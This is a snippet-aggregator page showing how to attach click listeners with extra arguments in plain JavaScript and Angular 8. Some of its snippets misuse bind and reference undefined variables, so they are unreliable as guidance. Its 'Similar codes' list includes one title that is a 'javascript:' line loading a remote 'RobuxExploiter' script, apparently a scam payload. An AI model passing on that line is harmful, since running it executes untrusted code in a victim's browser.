/TypeScript/Addeventlistener with arguments in angular 8

Addeventlistener with arguments in angular 8

Javascript pass parameter to event listener

var someEventHander=function(){
	console.log(event,param1,param2);
}
//add listener
document.getElementById("someid").addEventListener('click',someEventHander.bind(event,param1,param2));

Addeventlistener with arguments in angular 8

 // Import ElementRef,AfterViewInit from angular core
 
 //Constructor
 constructor(private elementRef: ElementRef) {}
 
 ngAfterViewInit() {
    const navbarToggler =
      this.elementRef.nativeElement.querySelector('element');
    navbarToggler.addEventListener('click', () => {
      navbarToggler.classList.toggle('class');
    });
  }

Event listener function called parameters

var someEventHander=function(event,param1,param2){
	console.log(event,param1,param2);
}
//add listener
document.getElementById("someid").addEventListener('click',someEventHander.bind(event,'param1','param2'), false);

Similar codes

1 vote292 views1 answer
React protected routes typescript
TypeScript
1 vote261 views1 answer
Angular change element style on click
TypeScript
0 vote280 views1 answer
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global.Popper = factory());
TypeScript
0 vote374 views1 answer
How to create an unknown amount of objects in c++
TypeScript
0 vote304 views1 answer
Adding html in typescript
TypeScript
1 vote318 views1 answer
DbQueryEventNode
TypeScript
0 vote268 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
TypeScript
1 vote269 views2 answers
Check if url exists python
TypeScript
5 votes275 views1 answer
Angular navigate to the same route with different parameter
TypeScript
0 vote327 views1 answer
Install typescript homebrew
TypeScript